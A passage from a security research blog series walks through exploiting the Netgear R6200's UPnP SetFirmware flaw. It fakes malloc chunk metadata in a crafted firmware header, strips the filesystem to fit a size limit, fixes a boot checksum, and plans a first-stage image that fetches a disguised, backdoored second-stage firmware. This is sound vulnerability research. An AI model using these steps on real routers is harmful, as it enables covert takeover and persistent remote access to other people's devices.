uClibc, the C library the Netgear R6200 uses, has three different malloc/free implementations: malloc, malloc-standard, and malloc-simple. Which one gets used is determined at compile time. Which implementation our device uses can be verified by first finding a symbol that is only referenced by a single malloc implementation.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #40ffff;">$ </span>grep -rnl __malloc_state stdlib
stdlib/malloc-standard/malloc.c
stdlib/malloc-standard/malloc.h
</pre>
</div>
<br />
Grepping through uClibc source, it appears <code>__malloc_state</code> is referenced only by the malloc-standard implementation. Check for that symbol in the target's libc.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #40ffff;">$ </span>strings libc.so.0 | grep -i malloc
malloc
__malloc_lock
__malloc_state
...
</pre>
</div>
<br />
Presence of the <code>__malloc_state</code> symbol indicates the target's libc is built with the malloc-standard implementation. We can now focus source code analysis in the right place. Let's have a look at uClibc source, specifically <code>/libc/stdlib/malloc-standard/malloc.h</code>.<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">malloc_chunk</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">size_t</span> <span style="color: #d0d0d0;">prev_size;</span> <span style="color: #999999; font-style: italic;">/* Size of previous chunk (if free). */</span>
<span style="color: #6ab825; font-weight: bold;">size_t</span> <span style="color: #d0d0d0;">size;</span> <span style="color: #999999; font-style: italic;">/* Size in bytes, including overhead. */</span>
<span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">malloc_chunk*</span> <span style="color: #d0d0d0;">fd;</span> <span style="color: #999999; font-style: italic;">/* double links -- used only if free. */</span>
<span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">malloc_chunk*</span> <span style="color: #d0d0d0;">bk;</span>
<span style="color: #d0d0d0;">};</span>
<span style="color: #999999; font-style: italic;">/*</span>
<span style="color: #999999; font-style: italic;"> An allocated chunk looks like this:</span>
<span style="color: #999999; font-style: italic;"> chunk-> +-+-+-+-+-+-+-+-+-+-+-+-/ /-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span>
<span style="color: #999999; font-style: italic;"> | Size of previous chunk, if allocated | |</span>
<span style="color: #999999; font-style: italic;"> +-+-+-+-+-+-+-+-+-+-+-+-/ /-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span>
<span style="color: #999999; font-style: italic;"> | Size of chunk, in bytes |P|</span>
<span style="color: #999999; font-style: italic;"> mem-> +-+-+-+-+-+-+-+-+-+-+-+-/ /-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span>
<span style="color: #999999; font-style: italic;"> | User data starts here... .</span>
<span style="color: #999999; font-style: italic;"> . .</span>
<span style="color: #999999; font-style: italic;"> . (malloc_usable_space() bytes) .</span>
<span style="color: #999999; font-style: italic;"> . |</span>
<span style="color: #999999; font-style: italic;">nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-/ /-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span>
<span style="color: #999999; font-style: italic;"> | Size of chunk |</span>
<span style="color: #999999; font-style: italic;"> +-+-+-+-+-+-+-+-+-+-+-+-/ /-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span>
<span style="color: #999999; font-style: italic;">*/</span>
</pre>
</div>
<br />
See, when you call <code>malloc()</code>, the pointer you get back (and later pass to <code>free()</code>) doesn't actually mark the beginning of the chunk of memory allocated. There is metadata prepended to your buffer. Although malloc implementations vary, what you see above is fairly typical. There is a size of the current allocated chunk, as well as the size of the previous chunk, if there is one.<br />
<br />
If you pass an arbitrary address to <code>free()</code>, there's no telling what's going to happen. This is undefined behavior and what happens next depends on the malloc implementation, the state of the heap, and the chunk metadata. Maybe nothing will happen. Or there could be heap corruption, which may or may not be exploitable. Alternatively, the program could crash in <code>free()</code> if an invalid dereference occurs.<br />
<br />
As I was reverse engineering the R6200's firmware header, <code>upnpd</code> crashed predictably under certain conditions. When the chunk metadata is used to compute a pointer to the next chunk, the result was an invalid address. Then the dereference of the <code>nextchunk</code> pointer caused a crash.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16540019444" style="margin-left: auto; margin-right: auto;" title="Crash in free() by Zachary Cutlip, on Flickr"><img alt="Crash in free()" height="164" src="https://farm8.staticflickr.com/7662/16540019444_40dcd1f5b3.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Location of the crash in free() due to freeing an invalid pointer.</td></tr>
</tbody></table>
<br />
<br />
A way of avoiding the crash is to insert fake chunk metadata in the firmware header[1]. It is the address of the TRX image in memory that <code>upnpd</code> attempts to free. Unfortunately the only way to cause <code>free()</code> to bail immediately is to pass it a NULL pointer. However, if it thinks the allocated memory chunk is zero bytes, it takes a much shorter path and avoids the crash. So, right at the end of the firmware header and before the TRX image, you may insert a 4-byte "chunk metadata" field equal to zero.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> <span style="color: #d0d0d0;">FREE_FIXUP_OFF=BOARD_ID_OFF+</span><span style="color: #24909d;">len</span><span style="color: #d0d0d0;">(BOARD_ID)</span>
<span style="color: #d0d0d0;">FREE_FIXUP=</span><span style="color: #3677a9;">0x0</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__build_header</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,checksum=</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,logger=</span><span style="color: #24909d;">None</span><span style="color: #d0d0d0;">):</span>
<span style="color: #d0d0d0;">SC=SectionCreator(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.endianness,logger=logger)</span>
<span style="color: #ed9d13;">"""</span>
<span style="color: #ed9d13;"> ...abbreviated...</span>
<span style="color: #ed9d13;"> """</span>
<span style="color: #d0d0d0;">SC.string_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.BOARD_ID_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.BOARD_ID,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"Board id string."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">SC.gadget_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.FREE_FIXUP_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.FREE_FIXUP,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"fake mem chunk metadata to avoid crashing."</span><span style="color: #d0d0d0;">)</span>
</pre>
</div>
<br />
<br />
The resulting firmware header looks like:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16955192157" style="margin-left: 1em; margin-right: 1em;" title="fake chunk metadata by Zachary Cutlip, on Flickr"><img alt="fake chunk metadata" height="365" src="https://farm9.staticflickr.com/8746/16955192157_c07b1a5b16.jpg" width="500" /></a></div>
<br />
<br />
Referring back to the header/image diagram from above, the firmware layout now looks like:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a data-flickr-embed="true" href="https://www.flickr.com/photos/99298302@N02/21263418698/" style="margin-left: 1em; margin-right: 1em;" title="ambit_trx_free2"><img alt="ambit_trx_free2" height="264" src="https://farm1.staticflickr.com/669/21263418698_ac553e6206_k.jpg" width="640" /></a></div>
<script async="" charset="utf-8" src="//embedr.flickr.com/assets/client-code.js"></script><br />
<br />
This still may result in some heap corruption, but the firmware has already been written, and <code>upnpd</code> is moments away from rebooting the device. We only need to avoid crashing long enough for the reboot.<br />
<div>
<br /></div>
<div>
In the next two parts, we finish up with a discussion of post-exploitation. As of this part we have successfully exploited the <code>SetFirmware</code> SOAP action, causing <code>upnpd</code> to overwrite the firmware with arbitrary data of our choosing. The next steps will be to make that data useful for persisting remote access to the target. Stay tuned!<br />
<br />
------------------------------<br />
[1] Credit to former colleague <a href="https://twitter.com/dongrote">@dongrote</a> for suggesting playing games with malloc metadata might help avoid crashing in <code>free()</code>.</div>
</div>
<div>
<br /></div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-29625793227116854442015-07-16T08:00:00.000-07:002015-10-08T08:16:00.041-07:00Broken, Abandoned, and Forgotten Code, Part 11In the previous part, we moved away from emulation to working with physical hardware. We identified a UART header inside the Netgear R6200 that can be used for console access. I demonstrated how to access the CFE bootloader's recovery mode to reflash a working firmware over TFTP. This makes it possible to iteratively modify and test firmware images that will be used in the <code>SetFirmware</code> UPnP exploit.<br />
<br />
In this part, I'll talk about regenerating the filesystem portion of the firmware image. I'll also walk through shrinking the filesystem in order to avoid crashing <code>upnpd</code>.<br />
<br />
<h3>
Updated Exploit Code</h3>
<div>
I last updated the exploit code for <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-09.html">part 9</a>, when we filled out the "janky" ambit header enough to satisfy <code>upnpd</code>. In this part I've updated the code to add an additional header field that must be filled in order to boot. If you've previously cloned the repository, now would be a good time to do a pull. You can clone the git repo from:</div>
<div>
<div>
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br /></div>
</div>
<h3>
Regenerating the Filesystem</h3>
Recall from before that the firmware image for the R6200 consists of four parts:<br />
<ul>
<li>Proprietary "Ambit" header</li>
<li>TRX header, which is well documented</li>
<li>Compressed Linux kernel</li>
<li>Squashfs filesystem</li>
</ul>
We reverse engineered the ambit header by analyzing the <code>httpd</code> and <code>upnpd</code> binaries. The TRX header is well documented and did not need to be reversed. We can reuse the Linux kernel from an existing firmware; no changes to it are required. All that remains is regenerating the SquashFS filesystem.<br />
<br />
Generating a SquashFS filesystem is relatively straightforward; there are existing tools to turn a root filesystem directory into a filesystem image. The problem lies in the many different variations of SquashFS. In addition to the various official versions, vendors tweak it further for their own motivations. As a result of this proliferation of SquashFS variations, it can be hard to know which SquashFS tool will work with a given device. For this project, we're in luck. Netgear makes available open source GPL archives for most of its consumer products, including the R6200.<br />
<br />
While vendors' open source releases aren't as useful as one might hope, they do sometimes include a few gems. In the case of the R6200, the GPL release includes a few tools already compiled and ready to use. You can download the GPL release from:<br />
<a href="http://kb.netgear.com/app/answers/detail/a_id/2649/~/netgear---open-source-code-for-programmers-(gpl)">http://kb.netgear.com/app/answers/detail/a_id/2649/~/netgear---open-source-code-for-programmers-(gpl)</a><br />
<br />
The GPL release for the R6200 firmware version 1.0.0.28 (which we're working with) can be found <a href="http://www.downloads.netgear.com/files/GPL/R6200-V1.0.0.28_1.0.24_src.tar.zip">here</a>.<br />
<br />
When you unpack the rather large GPL tarball, you can find the SquashFS tools under src/router/squashfs:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/code/wifi-reversing/netgear/r6200/gpl/R6200-V1.0.0.28_1.0.24_src/src/router/squashfs (0) $ ls -1</span>
<span style="color: #cccccc;">global.h</span>
<span style="color: #cccccc;">LzFind.o</span>
<span style="color: #cccccc;">LzmaDec.o</span>
<span style="color: #cccccc;">LzmaEnc.o</span>
<span style="color: #cccccc;">Makefile</span>
<span style="color: #cccccc;">mksquashfs*</span>
<span style="color: #cccccc;">mksquashfs.c</span>
<span style="color: #cccccc;">mksquashfs.h</span>
<span style="color: #cccccc;">mksquashfs.o</span>
<span style="color: #cccccc;">read_fs.c</span>
<span style="color: #cccccc;">read_fs.h</span>
<span style="color: #cccccc;">read_fs.o</span>
<span style="color: #cccccc;">sort.c</span>
<span style="color: #cccccc;">sort.h</span>
<span style="color: #cccccc;">sort.o</span>
<span style="color: #cccccc;">sqlzma.c*</span>
<span style="color: #cccccc;">sqlzma.h*</span>
<span style="color: #cccccc;">sqlzma.o</span>
<span style="color: #cccccc;">unsquashfs.c</span>
</pre>
</div>
<br />
You'll find the source code, as well as a precompiled <code>mksquashfs</code> binary. Oddly, there are even intermediate objects from compilation. I always get the feeling that GPL releases from router vendors are just someone's workspace that got tarred up and posted online. Anyway, the <code>mksquashfs</code> binary is the one that I used. It's 32-bit, so I had to install lib32stdc++6 in my 64-bit Ubuntu VM. In theory, you should be able to rebuild the tools from source as well, but I didn't try. I put the executable in my path (~/bin in my case) so I can easily call it from scripts. I also gave it a unique name to differentiate from other SquashFS utilities.<br />
<br />
In order to regenerate a filesystem image, you run <code>mksquashfs</code> on the root directory and give it the <code>-noappend</code> and <code>-all-root</code> options:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron:~/tmp_root (0) $ netgear-r6200-mksquashfs squashfs-root rootfs.bin -noappend -all-root</span>
<span style="color: #cccccc;">Parallel mksquashfs: Using 4 processors</span>
<span style="color: #cccccc;">Creating little endian 3.0 filesystem using LZMA on rootfs.bin, block size 65536.</span>
<span style="color: #cccccc;">TIOCGWINZ ioctl failed, defaulting to 80 columns</span>
<span style="color: #cccccc;">[==============================================================] 1024/1024 100%</span>
<span style="color: #cccccc;">Exportable Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments, duplicates are removed</span>
<span style="color: #cccccc;">Filesystem size 7340.21 Kbytes (7.17 Mbytes)</span>
<span style="color: #cccccc;"> 28.14% of uncompressed filesystem size (26081.84 Kbytes)</span>
<span style="color: #cccccc;">Inode table size 6840 bytes (6.68 Kbytes)</span>
<span style="color: #cccccc;"> 24.26% of uncompressed inode table size (28199 bytes)</span>
<span style="color: #cccccc;">Directory table size 8018 bytes (7.83 Kbytes)</span>
<span style="color: #cccccc;"> 48.05% of uncompressed directory table size (16688 bytes)</span>
<span style="color: #cccccc;">Number of duplicate files found 15</span>
<span style="color: #cccccc;">Number of inodes 853</span>
<span style="color: #cccccc;">Number of files 711</span>
<span style="color: #cccccc;">Number of fragments 82</span>
<span style="color: #cccccc;">Number of symbolic links 90</span>
<span style="color: #cccccc;">Number of device nodes 0</span>
<span style="color: #cccccc;">Number of fifo nodes 0</span>
<span style="color: #cccccc;">Number of socket nodes 0</span>
<span style="color: #cccccc;">Number of directories 52</span>
<span style="color: #cccccc;">Number of uids 1</span>
<span style="color: #cccccc;"> root (0)</span>
<span style="color: #cccccc;">Number of gids 0</span>
<span style="color: #cccccc;">zach@devaron:~/tmp_root (0) $</span>
</pre>
</div>
<br />
The first argument is the name of the root directory to convert to an image. The "rootfs.bin" is the name of the image to generate. The "-noappend" option means to not append to an existing image, and the "-all-root" option means to set ownership of all files to root.<br />
<br />
<h3>
Shrinking the Filesystem.</h3>
When we generate the root filesystem, it comes out to be over 7MB. There are additional options to <code>mksquashfs</code> that affect compression and block size and can impact the resulting image size. I wasn't able to get the resulting image to come out any smaller regardless of what options I used. In some cases, it ended up larger.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> ls -l rootfs.bin
<span style="color: #cccccc;">-rwx------ 1 zach 80 7520256 Mar 25 07:45 rootfs.bin*</span>
</pre>
</div>
<br />
Lets revisit binwalk's breakdown of the firmware's composition.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> binwalk R6200-V1.0.0.28_1.0.24.chk
<span style="color: #cccccc;">DECIMAL HEX DESCRIPTION</span>
<span style="color: #cccccc;">-------------------------------------------------------------------------------------------------------------------</span>
<span style="color: #cccccc;">58 0x3A TRX firmware header, little endian, header size: 28 bytes, image size: 8851456 bytes, CRC32: 0xEE839C0 flags: 0x0, version: 1</span>
<span style="color: #cccccc;">86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3920006 bytes</span>
<span style="color: #cccccc;">1328446 0x14453E Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 7517734 bytes, 853 inodes, blocksize: 65536 bytes, created: Wed Sep 19 19:27:19 2012</span>
</pre>
</div>
<br />
Binwalk identifies the following parts:<br />
<ul>
<li>Ambit header (unidentified by binwalk) 58 bytes</li>
<li>TRX Header: 28 Bytes</li>
<li>Compressed Kernel: 1328360 bytes (~1300 KB)</li>
<li>SquashFS filesystem: 7523068 bytes (~7400 KB)</li>
</ul>
<div>
We can't change the size of the headers or of the kernel. So that leaves us with only the filesystem. If the total firmware size is to come in under 4MB, we need to get the filesystem down to around 2,700 KB or less. That's down from 7,400 KB. Obviously, there's no way to get a full firmware to fit in this size, or even one that approximates a full firmware.</div>
<div>
<br /></div>
<div>
So what can we do with such a small firmware? Is there even a point in this exercise? My strategy was to strip down the firmware as much as possible to come in under the limit, but still have the router do the following:<br />
<br />
<ul>
<li>boot successfully</li>
<li>have a functioning userspace, including shell</li>
<li>have network connectivity, including to the internet</li>
</ul>
<br />
<br />
This first stage firmware should have some sort of agent that phones home to a predetermined server to download a second stage image. It should flash that image, and reboot. The second stage firmware will be a full blown firmware that looks identical to the stock firmware, but contains whatever additional tools and remote access capability we want.</div>
<div>
<br /></div>
<div>
Our goal is to figure out what we can strip out of this firmware while leaving it with a minimum level of functionality to bootstrap the second stage. The uncompressed filesystem takes up 28MB.<br />
<br /></div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">$ du -hs rootfs</span>
<span style="color: #cccccc;">28M rootfs</span>
</pre>
</div>
<br />
There are a number of executables that are tempting to remove, as they seem noncritical. Before doing so, be sure they aren't links to /bin/busybox. Removing a link won't save significant space. The only way to save space with these executables is to rebuild busybox with fewer personalities.<br />
<br />
The first thing that can go is the HTTP server and its resources. The <code>www</code> directory takes 4.6 MB on disk, and <code>httpd</code> takes 1.6 MB.<br />
<br />
Removing a system service can be risky. On embedded devices such as this one, the boot sequence can be pretty brittle. Unlike a general purpose Ubuntu or Red Hat server, these are designed with the assumption that no components will be added or removed. If a service is removed that is critical to the boot process, the device may be rendered unusable. To reduce this risk, I replaced any removed system executables with a shell script of the same name that terminates with a successful exit status. This should trick whatever init or rc program is kicking off boot processes into thinking the service started successfully, thereby allowing the boot sequence to proceed uninterrupted.<br />
<br />
Here's a script that replaces a given system binary with a dummy script:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">#!/bin/sh</span>
<span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">"Replacing $1"</span>
cat <span style="color: #ed9d13;"><<EOF >$1</span>
<span style="color: #ed9d13;">#!/bin/sh</span>
<span style="color: #ed9d13;">echo "Fake $1"</span>
<span style="color: #ed9d13;">EOF</span>
chmod +x <span style="color: #40ffff;">$1</span>
</pre>
</div>
<br />
You simply run it like so, to replace a given service:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> <span style="color: #24909d;">cd </span>rootfs/usr/sbin/
<span style="color: #aaaaaa;">$</span> replace httpd
<span style="color: #cccccc;">Replacing httpd</span>
<span style="color: #aaaaaa;">$</span> cat httpd
<span style="color: #aaaaaa;">#</span>!/bin/sh
<span style="color: #cccccc;">echo "Fake httpd"</span>
<span style="color: #aaaaaa;">$</span>
</pre>
</div>
<br />
<br />
As I removed each service, I generated a new, complete firmware image and installed it through the R6200's web interface to be sure the device would still boot and had network connectivity. Of course even it it does boot and run, you've now removed the web interface. This means there's no facility to reinstall the factory firmware. You'll need to recover via the serial interface I described in <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-10.html">part 10</a>. Using the serial console, you can recover using the bootloader's TFTP server.<br />
<br />
For each service you remove, there may be shared libraries that are no longer needed. Those can be removed as well. An easy trick is to grep all the remaining executables for a given library's name. Here's a script you can paste into the terminal as a one-liner that will use grep to discover what executables link what shared libraries.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #40ffff;">libs</span><span style="color: #d0d0d0;">=</span>~/libs.txt;
<span style="color: #6ab825; font-weight: bold;">for </span>file in *.so*; <span style="color: #6ab825; font-weight: bold;">do</span>
<span style="color: #6ab825; font-weight: bold;"> </span><span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">"$file"</span> >> <span style="color: #40ffff;">$libs</span>;
<span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">"=============================="</span> >> <span style="color: #40ffff;">$libs</span>;
grep -rn <span style="color: #ed9d13;">"$file"</span> ../sbin >> <span style="color: #40ffff;">$libs</span>;
grep -rn <span style="color: #ed9d13;">"$file"</span> ../usr/sbin >> <span style="color: #40ffff;">$libs</span>;
<span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">""</span> >> <span style="color: #40ffff;">$libs</span>;
<span style="color: #6ab825; font-weight: bold;">done</span>
</pre>
</div>
<br />
The libs.txt file will contain entries like:<br />
<br />
<code><br />
libvolume_id.so.0<br />
==============================<br />
<br />
libvolume_id.so.0.78.0<br />
==============================<br />
<br />
libvorbis.so.0<br />
==============================<br />
Binary file ../usr/sbin/minidlna.exe matches<br />
</code><br />
<br />
The <code>libvolume_id.so</code> shared library evidently isn't linked by anything and can be removed. The <code>libvorbis.so</code> shared library is linked by the DLNA service and may be removed once that service is removed. Re-run the script to generate a new list of library references each time you remove a service. This was a lengthy, iterative process for me. You may remove a critical service by accident or you may remove a library that is critical but not linked directly. It's important to test that each change results in a firmware which will still boot.<br />
<br />
After we remove <code>httpd</code> and the <code>www</code> directory, the new root file system is just over 7000KB. That leaves 4300 KB to go. Keep repeating this process of removing services from <code>/usr/sbin</code> and <code>/sbin</code>, and corresponding libraries that have no references. Make your changes a few at a time so you know what to put back if the device is no longer functional after rebooting.<br />
<br />
Here's a list of executables I removed<br />
<br />
<code><br />
/bin/chkntfs<br />
/bin/wps_monitor<br />
/lib/udev/vol_id<br />
/sbin/pppd<br />
/sbin/pppdv6<br />
/usr/local/samba/nmbd<br />
/usr/local/samba/smbd<br />
/usr/local/samba/smb_pass<br />
/usr/sbin/bftpd<br />
/usr/sbin/bzip2<br />
/usr/sbin/ddnsd<br />
/usr/sbin/dhcp6c<br />
/usr/sbin/dhcp6s<br />
/usr/sbin/dlnad<br />
/usr/sbin/email<br />
/usr/sbin/gproxy<br />
/usr/sbin/heartbeat<br />
/usr/sbin/httpd<br />
/usr/sbin/IPv6-relay<br />
/usr/sbin/l2tpd<br />
/usr/sbin/lld2d<br />
/usr/sbin/minidlna.exe<br />
/usr/sbin/mld<br />
/usr/sbin/nas<br />
/usr/sbin/outputimage<br />
/usr/sbin/pppoecd<br />
/usr/sbin/pppoecdv6<br />
/usr/sbin/pptp<br />
/usr/sbin/radvd<br />
/usr/sbin/ripd<br />
/usr/sbin/telnetenabled<br />
/usr/sbin/upnpd<br />
/usr/sbin/wanled<br />
/usr/sbin/wl<br />
/usr/sbin/wpsd<br />
/usr/sbin/zebra<br />
/usr/sbin/zeroconf<br />
</code><br />
<br />
Those are in addition to the <code>/www</code> directory. Once I had removed those, I identified the following libraries that were no longer linked.<br />
<br />
<code><br />
/lib/libavcodec.so.52<br />
/lib/libavdevice.so.52<br />
/lib/libavformat.so.52<br />
/lib/libavutil.so.49<br />
/lib/libcrypto.so<br />
/lib/libcrypto.so.0.9.7<br />
/lib/libcrypt.so.0<br />
/lib/libexif.so.12<br />
/lib/libFLAC.so.8<br />
/lib/libid3tag.so.0<br />
/lib/libjpeg.so.7<br />
/lib/libnsl.so.0<br />
/lib/libogg.so.0<br />
/lib/libpthread.so.0<br />
/lib/libresolv.so.0<br />
/lib/libsqlite3.so.0<br />
/lib/libssl.so<br />
/lib/libssl.so.0.9.7<br />
/lib/libutil.so.0<br />
/lib/libvolume_id.so.0<br />
/lib/libvolume_id.so.0.78.0<br />
/lib/libvorbis.so.0<br />
/lib/libz.so.1<br />
</code><br />
<br />
With all of these libraries and executables removed, the root filesystem directory was down to 9.8MB from 28 MB. The compressed SquashFS filesystem was down to 2,228KB! That's from a starting point 7.2MB. After building the complete ambit image (with ambit header, TRX header, kernel, and filesystem), it came to 4121918 bytes, or 0x3EE53E in hex. Recall the undersized <code>malloc()</code> for Base64 decoding was 0x400000. That's 70KB to spare! Kick ass[1].<br />
<br />
<h3>
Checksum Mismatch!</h3>
Now we can try uploading our minimized firmware to the R6200 using the UPnP <code>SetFirmware</code> exploit code[2]. At this point, you definitely need to connect to the UART serial interface if you haven't already. Even if the firmware boots, we've stripped out all the essential services, so there's no other way to see what's happening or what state the device is in after boot. And if it doesn't boot, well, you'll be glad you have the serial connection and CFE's recovery mode.<br />
<br />
When I built a firmware and pushed it to the device over UPnP, exploiting the <code>SetFirmware</code> vulnerability, I was able to see the updating progress over the serial console. And then the R6200 rebooted. So close! After the reboot, I saw CFE initializing. And then this.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16833296278" style="margin-left: auto; margin-right: auto;" title="CFE Checksum Mismatch by Zachary Cutlip, on Flickr"><img alt="CFE Checksum Mismatch" height="390" src="https://farm9.staticflickr.com/8724/16833296278_dd67658ba1.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The CFE bootloader detects a firmware checksum mismatch.</td></tr>
</tbody></table>
<div style="text-align: left;">
</div>
<br />
On boot we see:<br />
<pre>Image chksum: 0x61354161
Calc chksum: 0x9F3FAE72
</pre>
<br />
Then the boot sequence halts, and CFE helpfully starts up a TFTP server for us.<br />
<br />
The image checksum, 0x61354161, looks familiar. Let's go back to the firmware generating script and <code>find_offset()</code>.<br />
<br />
<pre>$ ./firmware-parsing/mjambit.py find=0x61354161 kernel-lzma.bin ../small-fw/rootfs.bin
[@] TRX crc32: 0x77dec742
[@] Creating ambit header.
[+] Calculating TRX image checksum.
[+] Building header without checksum.
[+] Calculating header checksum.
[+] Building header with checksum.
[@] Finding offset of 0x61354161
[+] Offset: 16
</pre>
<br />
Oh look. That's the 4-byte value at offset 16. We discovered what field is when for when reversing <code>httpd</code>. From <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-07.html">part 7</a>:<br />
<br />
<blockquote class="tr_bq">
<i>We're not done with checksums just yet. The basic block at 0x0043643C is another checksum operation. Once again the data points to "HDR0", but the size is only the value from offset 28. The size from offset 24 is not used this time. The checksum result is the same as before, but this time compared to the value at offset 16. We now know the checksum we compute and store at offset 32, must also be stored at offset 16. Presumably, this would be to calculate a separate checksum without including the mysterious extra section I speculated about above.</i></blockquote>
So, even though this field is never validated in <code>upnpd</code> (which is why we didn't find it the second time around), it does get checked by CFE at boot. In fact if we had gone a little farther with static analysis, there is a section where <code>sa_parcRcvCmd()</code> seeks to the end of the flash partition, unlocks and erases the last <i>erase-size</i> (65536) bytes, seeks to 8 bytes the end, then writes the values from field 24, the TRX image size, and from field 16, the TRX image checksum.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16402357034" style="margin-left: auto; margin-right: auto;" title="lseek, write trx image size, checksum by Zachary Cutlip, on Flickr"><img alt="lseek, write trx image size, checksum" height="177" src="https://farm8.staticflickr.com/7610/16402357034_51aa34f19f.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Writing the TRX image size and checksum to the end of the flash partition.</td></tr>
</tbody></table>
<br />
This problem is easily solved. We already have the TRX image size at offset 24. That's the size that got checked against a limit of 4MB. It's also the size that is used to determine how much data to write to flash. We just need to add the TRX checksum at offset 16:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #d0d0d0;">SC.gadget_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.TRX_IMG_CHECKSUM_OFF_1,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.trx_image_checksum,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"Checksum of TRX image. This gets verified by CFE on boot."</span><span style="color: #d0d0d0;">)</span>
</pre>
</div>
<br />
With that done (and the router recovered back to a stock firmware), we can try again. And when we do, success! The router boots up completely to an interactive console.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
